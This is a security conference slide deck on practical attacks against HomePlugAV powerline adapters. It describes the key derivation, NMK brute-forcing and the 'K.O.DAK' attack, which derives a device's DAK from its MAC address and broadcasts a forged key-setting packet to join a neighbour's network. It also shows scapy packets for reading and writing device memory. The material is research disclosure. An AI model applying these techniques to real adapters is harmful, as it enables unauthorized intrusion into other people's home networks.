HomePlugAV PLC: Practical attacks and backdooring

Sébastien Dudek
19/10/2014
Who am I

Sébastien Dudek (@FIUxIuS)

- Has joined the ESEC R&D lab in 2012 after his internship (subject: Attacking the GSM Protocol Stack)
- Interests: radiocommunications (WiFi, RFID, GSM, PLC...), network, web, and Linux security.
- My story with PLCs:
  - moved out to a shared apartment;
  - angry with my room mate’s WiFi (obstacles, perturbations...) \(\rightarrow\) PLCs are cheap and could solve my problem;
  - and I’ve wanted to learn more about these little devices...
Summary

1 Introduction
   Context
   The electrical signal
   The targets

2 Previous work on PLCs

3 Network analysis

4 The K.O.DAK attack

5 Inside the PLC
Introduction

- PLC: Powerline Communication ≠ Programmable Logic Controller (known on SCADA and other Apocalypse things...)
- Principle discovered by Edward Davy in 1838
- Released in the early 2000s for home applications
- Evolves a lot in term of speed
- Other systems like Cenélec (3-148.5 kHz low voltage) are used: meter readings, intruder alarms, fire detection, gaz leak detection, and so on

But how does it looks like at home?
PLC at home

The following pictures shows a house equipped with PLC devices:

Only one PLC is connected to internet and distributes it to other PLC $\rightarrow$ a user shouldn’t worry about it’s network topology.
PLC layers

A PLC uses layer 1 and 2 of the OSI model ⇒ IEEE 802.3

Collision avoidance

- Use of CSMA/CA (Carrier Sense Multiple Access/Collision Avoidance)
- TDMA → allocate a period of transmission time for each station
- 1 TDMA frame used for CSMA/CA frames that don’t need QoS
The hardware: divided in two parts

Vendor part

PLC part

HomePlugAV PLC: Practical attacks and backdooring
Communications

**Computer ↔ PLC**
- Communicate through Ethernet on MAC layer
- Clear text (no ciphering)

**PLC ↔ PLC**
- Communicate through powerline
- Data is encrypted (using AES CBC 128 bits on new PLCs)
Electrical properties: the power-line

**AC voltage**

- AC voltage at 50 Hz → signal do 50 cycles/s
- Could be represented by the formula:

\[ P_s = A\sqrt{2}\sin(2\pi ft) \]

A is 220V in Europe, or 100V in US/Japon, \( f \) the number of cycles/sec (50 Hz in Europe for example).
Electrical properties: adding our signal

To transport our data on electrical power we use superposition:

**Superposition**

- Suppose the carrier is 60 kHz:
  \[ Ca = 2\sqrt{2} \sin (2\pi 60000 t) \]
- Sum the power supply with the carrier:
  \[ Ps + Ca = 220\sqrt{2} \sin (2\pi 50 t) + 2\sqrt{2} \sin (2\pi 60000 t) \]

But we need error detection, code mapping and multi-carrier modulation!
Digital Signal Processing (DSP)

1. Data scrambling;
2. Turbo encoding;
3. Modulation of control and data frames;
4. Form OFDM symbols by constellation;
5. Windowing.

Source: G3-PLC

HomePlugAV PLC: Practical attacks and backdooring
Electrical network

In France, the distribution network is similar to the telephony network (RTC).

Source: PLC in Practice by Xavier Carcelle
Public and private network: myths and reality

Myth
Counters restrict PLC data spreading.

Reality
- No choc-coil → we can communicate:
  - from one apartment to another;
  - from the building lobby to someone’s flat (3rd and 4th floor).

Old choc-coils are mostly ineffective to block MF/HF frequencies.
## Our devices:

<table>
<thead>
<tr>
<th>Model</th>
<th>Max Speed</th>
<th>Chipset</th>
<th>Extra features</th>
</tr>
</thead>
<tbody>
<tr>
<td>XAV5401</td>
<td>500 Mb/s</td>
<td>Qualcomm Atheros 7420</td>
<td></td>
</tr>
<tr>
<td>XWN5001</td>
<td>500 Mb/s</td>
<td>Qualcomm Atheros 7420</td>
<td></td>
</tr>
<tr>
<td>TL-PA6030</td>
<td>600 Mb/s</td>
<td>Qualcomm Atheros 7450</td>
<td></td>
</tr>
<tr>
<td>FreeplugV1</td>
<td>200 Mb/s</td>
<td>INT6300</td>
<td>Smart Plug + WiFi N300</td>
</tr>
<tr>
<td>FreeplugV2</td>
<td>200 Mb/s</td>
<td>INT6400</td>
<td></td>
</tr>
</tbody>
</table>
PLCs embedded in power supply: example with Freeplugs

- An ethernet cable is joined with the power supply cable
- Normally, a "default" user will connect everything → just to be sure that everything will work fine...
Summary

1 Introduction

2 Previous work on PLCs
   Publications
   Tools

3 Network analysis

4 The K.O.DAK attack

5 Inside the PLC
Publications

- Power Line Communications in Practice by Xavier Carcelle → a must read!
- MISC #37 HomePlug Security by Xavier Carcelle
- HomePlug Security by Axel Puppe and Jeroen Vanderauwera → gives an otherview of key bruteforcing for old devices

These publications give an overview of HomePlug security mechanisms. But just one paper really focuses on possible and practical attacks...
Tools

- plconfig → manage PLCs over the network
- FAIFA by Xavier Carcelle (similar to plconfig)
- Vendors software (that we used at first)
- Wireshark has a dissector for HomePlugAV

But no scapy Layer exists for HomePlugAV to mess with the HomePlugAV protocol.
Summary

1 Introduction

2 Previous work on PLCs

3 Network analysis
   The ethernet interface
   Basic attacks

4 The K.O.DAK attack

5 Inside the PLC

HomePlugAV PLC: Practical attacks and backdooring
Vendors utility: example with Netgear

3 different ways to configure our PLC network

- default configuration (open network/default key);
- pairing button (easy way);
- or with a custom key (paranoid way → our case).

The software retrieves PLC information as follows:
Analysis with our scapy Layer: Device Type message

To retrieve devices type, the software broadcasts a “Get Device Type Request”.

The software uses a Atheros broadcast address, but just to be sure it will work with all devices (INTELLON, Atheros, Qualcomm...), we can broadcast it with ff:ff:ff:ff:ff:ff address.
Device Type message: the confirmation

If the type request exists, you get a confirmation message with a “Status” field (0x0 = Success) followed with data:
Network information

To get information about the CCo (Central Coordinator) and stations connected, the software sends a “Network Information Request” → then we get a “Network Information Confirmation” packet.
A typical PLC network

- The CCo manages contention-free streams time allocation, period for CSMA access + defines a AVLN node
- We can talk with other PLC of the same AVLN

The software can change the NMK passphrase, sending it to the targeted PLC.
Change the passphrase: `SetEncryptionKeyRequest`

We change local device’s NMK passphrase:

```
Remotely

In remote, we need to precise a DAK (Direct Access Key) to change the NMK (Network Membership Key). This could be interesting...
```
NMK and DAK generation

- The NMK and DAK keys are generated the same way
- They use the Password-Based Derivation Function 1 (PBKDF1):
  - DAK or NMK = PBKDF1(P, S, HF, c, dkLen);
  - P → the passphrase;
  - S → the salt;
  - HF → the hash function;
  - c → the number of iterations;
  - dkLen → the digest key length.

- The main parameters are known:
  - S = 0x08856DAF7CF58185 for DAK, S = 0x08856DAF7CF58186 for NMK;
  - HF is SHA-256;
  - c = 1000;
  - dkLen = 16 (bytes).
Attacks on NMK

Interception

1. Listen for broadcasted packets, MITM the administrator or fake the MAC address
2. And sniff the “Set Key Encryption Key” packet

LAN attack

Brute force the NMK
Attacks on NMK

**Interception**

**LAN attack**

- A local device can be configured without any DAK.
- But also: every device is connected to a switch/router are considered as local device in the network (don’t need DAK).
Attacks on NMK

Interception

LAN attack

Bruteforce the NMK

1. Bruteforce the NMK from a dictionary;
2. Change local device NMK by the iterated one;
3. Send discovery packet to see if we joined any network.
 Attacks on NMK

Interception

LAN attack

Bruteforce the NMK

1. Bruteforce the NMK from a dictionary;
2. Change local device NMK by the interated one;
3. Send discovery packet to see if we joined any network.

N MK bruteforce ≠ good

Bruteforcing the NMK could be long and difficult depending on user’s password policy.
Summary

1 Introduction

2 Previous work on PLCs

3 Network analysis

4 The K.O.DAK attack
   DAK passphrase pattern
   “smart” bruteforce

5 Inside the PLC
Market researches

First we need an overview of possible DAK passphrase generation.

In the markets
Market researches

First we need an overview of possible DAK passphrase generation.

**In the markets**

**At ebay, leboncoin.fr...**
- there people take pictures of every possible positions of the device
- these information could be helpful to study the pattern
Market researches

First we need an overview of possible DAK passphrase generation.

In the markets

At ebay, leboncoin.fr...
- there people take pictures of every possible positions of the device
- these information could be helpful to study the pattern

Found pattern

The DAK passphrase pattern can be represented with this simple regex:

```
```

HomePlugAV PLC: Practical attacks and backdooring
Market researches

First we need an overview of possible DAK passphrase generation.

In the markets

At ebay, leboncoin.fr...

Found pattern

The DAK passphrase pattern can be represented with this simple regex:


Pattern bruteforce

The bruteforce of this pattern is painful! Is there any other way?
TP-Link utility seems to recover DAK passphrases
A little packet analysis... : ReadModuleDataConfirmation

Analysing the packet, the only thing we see are the hash of DAK at offset 0x12 (hidden here), and NMK at offset 0x64 with value=0x50d3e4933f855b7040784df815aa8db7 (=HomePlug).

```plaintext
>>> hexdump(pkt.ModuleData)
[..]
0020 14 D1 00 00 41 74 68 65 72 6F 73 20 48 65 72 6F 73
4000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
5000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
6000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
7000 00 00 00 00 50 D3 E4 93 3F 85 5B 70 40 78 4D F8
8000 15 AA 8D B7 74 70 76 65 72 5F 36 30 33 30 31 31
9000 5F 31 33 31 32 31 37 5F 30 30 32 00 00 00 00 00

The question?

How this software can possibly recover this passphrase in a second? Is it derivated from somewhere?
Analysing vendor DLLs

Looking on vendor software we can found a very interesting string \%02X%02X%02X%02X%02X%02X (\texttt{.rdata} section) in “PLCOperApi.dll” file.

```
MACProcess:
  movzx ecx, byte ptr [eax+5]
  movzx edx, byte ptr [eax+4]
  push ecx
  movzx ecx, byte ptr [eax+3]
  push edx
  movzx edx, byte ptr [eax+2]
  push ecx
  movzx ecx, byte ptr [eax+1]
  push edx
  movzx edx, byte ptr [eax]
  push ecx
  push edx
  lea eax, [esp+38h+\texttt{var_14}]
  push offset a\%02X02X02X02X02X02X ; \texttt{\%02X02X02X02X02X02X}
  push eax ; char *
  call _\texttt{sprintf}
  add esp, 20h
  mov edx, 6
  lea esp, [esp+0]
```

**Good starting point**

It’s called by “GetLocalDevInfo” that retrieves informations sending a “ReadModuleDataRequest” for PIB, and derives the MAC address to form the DAK key.
Implementation of the DAK generator

Once we have implemented the algorithm, we test it:

```
% python2 genDAK.py f0:de:f1:c0:ff:ee
QFLX–EFRE–QTGC–SZB
% python2 PBKDF1.py QFLX–EFRE–QTGC–SZB
PBKDF1 print: 13a7af2789ddcc19d97075d8efeaf506
```

Then we use the key-derivation function PBKDF1 to output the 16 bytes and send it to the device remotely (we can broadcast it):

```plaintext
###[ HomePlugAV ]###
version = 1.0
HPtype = 'Set Encryption Key Request'
OUI = 0xb052
###[ SetEncryptionKeyRequest ]###
EKS = 0x1
NMK = ''
PayloadEncKeySelect= 0x0
DestinationMAC= ff:ff:ff:ff:ff:ff
DAK = "\x13\xa7\xa7\'\x89\xd2\xcc\x19\xd9\xd8\xef\xe0\xf5\x06"
```

If the device confirms it → we win!
How powerful is K.O.DAK?

Here is a summary table of bruteforcing techniques difficulties:

<table>
<thead>
<tr>
<th>Bruteforce technique</th>
<th>Possibilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>DAK passphrase</td>
<td>$26^{16}$</td>
</tr>
<tr>
<td>K.O.DAK classic</td>
<td>$256^6$</td>
</tr>
<tr>
<td>K.O.DAK with vendor bytes</td>
<td>$256^3$</td>
</tr>
</tbody>
</table>

Devices with a Qualcomm chip are affected

We have also found a PLC toolkit in github\(^a\), and we can be sure that most of the device could be attacked this way as long as vendors use Qualcomm Atheros DAK passphrase generator.

\(^a\)https://github.com/qca/open-plc-utils
Our results

Here is a summary table of possible attacks on different PLCs:

<table>
<thead>
<tr>
<th>PLC Providers</th>
<th>Ethernet</th>
<th>NMK bruteforce</th>
<th>K.O.DAK Attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>Qualcomm Atheros PLC</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>INTELLON</td>
<td>YES</td>
<td>YES</td>
<td>MAYBE</td>
</tr>
<tr>
<td>ISP PLC</td>
<td>YES</td>
<td>YES</td>
<td>NOT ALL Devices</td>
</tr>
</tbody>
</table>

Freeplugs not affected

Freeplugs don't use Qualcomm DAK generator. This is reassuring because Free.fr serves more than 5,702,000 users in France, and provides PLCs with their router and STBs for years.

\(^{a}\text{francois04.free.fr}\)
Summary

1 Introduction

2 Previous work on PLCs

3 Network analysis

4 The K.O.DAK attack

5 Inside the PLC
   Hardware stuff
   Arbitrary read/write accesses
   Demos
   Conclusion & work in progress
   Thank you!
The hardware: remember?

Vendor part

PLC part
The strange ports?

- The two previous ports → MII (Media Independent Interface), or GPSI (General Purpose Serial Interface)
- They connect the PLC MAC/PHY transceiver to IEEE802.3 Ethernet MAC controllers

UART/serial ports could be present on old models, to respond with AT commands

1https://github.com/qca/open-plc-utils/tree/master/serial
JTAG/serial/UART/... accesses → forget about it!

With the vendor part, we have read/write accesses to the PIB and IMG parts on the NVM!

**3 parameters for the “Read Data Module Request”**

1. part of the memory: “MAC Soft-Loader Image” (0x0), “MAC Software Image” (0x01), “PIB” (0x02);
2. offset;
3. and the length.

```plaintext
###[ HomePlugAV ]###
version  = 1.0
HPtype   = 'Read Module Data Request'
OUI      = 0xb052
###[ ReadModuleData ]###
ModuleID  = PIB
reserved  = 0x0
Length    = 1024
Offset    = 5120
```
Writing into the memory example

```plaintext
###[ HomePlugAV ]###
version = 1.0
HPtype = 'Write Module Data Request'
OUI = 0xb052

###[ WriteModuleData ]###
ModuleID = PIB
reserved = 0x0
DataLen = 1024
Offset = 0
checksum = 975459083
ModuleData= '\x05\x07\x00\x08@\x00\x00\xb1\x15'#

[...]  
```

**Tip**

For the PIB region, you need to overwrite it‘s PIB checksum32 (at offset 0x8) and send a “WriteModuleDataToNVMRequest” to apply the configuration.
Other cool functionalities!

The Sniff command that gives details about frame control and beacon.

<table>
<thead>
<tr>
<th>140 158.140775000</th>
<th>WistronI_b</th>
<th>Broadcast</th>
<th>HomePlug</th>
<th>21 MAC Management, Sniffer Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>141 158.141081000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>60 MAC Management, Sniffer Confirmation</td>
</tr>
<tr>
<td>142 158.141474000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
<tr>
<td>143 158.153746000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
<tr>
<td>144 158.193671000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
<tr>
<td>145 158.238310000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
<tr>
<td>146 158.273699000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
<tr>
<td>147 158.313759000</td>
<td>Tp-LinkT_e</td>
<td>WistronI_b3</td>
<td>HomePlug</td>
<td>186 MAC Management, Sniffer Indicate</td>
</tr>
</tbody>
</table>

**Work in progress**

Other commands could be interesting to discover like **VS_WRITE_AND_EXECUTE_APPLET** or **VS_MICROCONTROLLER_DIAG**. We will dig a little more to know if we can execute any other applet or try to communicate with the microcontroller.
Gathering CCos MAC address

Enabling the Sniff command we can recover MAC addresses of CCos close to us\(^2\):

```
###[ SnifferIndicate ]###
SnifferType= Regular
Direction = Tx
SystemTime= 399103809
BeaconTime= 43033
ShortNetworkID= 0x80
[...]
###[ Raw ]###
load = ['\x01\xfd40[...]
[...]
>>> hexdump(pkt.load)

0000  XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX E8 94 XXXXXXXXXXXXXXXXXXX...
0010  F6 XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX .XXXXXXXXXXXXXXXX
[...]
```

One CC0 MAC address is present at address 0xe (beginning with bytes: E8 94 F6).

\(^2\) Independently discovered by Ben Tasker: https://www.bentasker.co.uk/documentation/security/282-infiltrating-a-network-via-powerline-homeplugav-adapters
Demos

- Discovery in and out of a AVLN node
- Monitoring and targeting CCos
- Remote CCo configuration to infiltrate a LAN
- Reading target’s memory
Archievement

- We have made a scapy Layer that helps us to mess with HomePlugAV protocol (to be completed) and parse the PIB
- This layer can be used to fuzz the client side (vendor’s utility)
- HomePlugAV sold in the market are vulnerable to K.O.DAK attack, but not the most used Freeplugs (for the moment)
- If we know the DAK passphrase or we have any access to the device by it’s ethernet interface → arbitrary read/write access

Work in progress

- Firmware disassembling → add other cool functions
  ⇒ We could mess with the authentication messages
- Learn more about “applets” that PLC executes
Thank you! ;)

Any questions?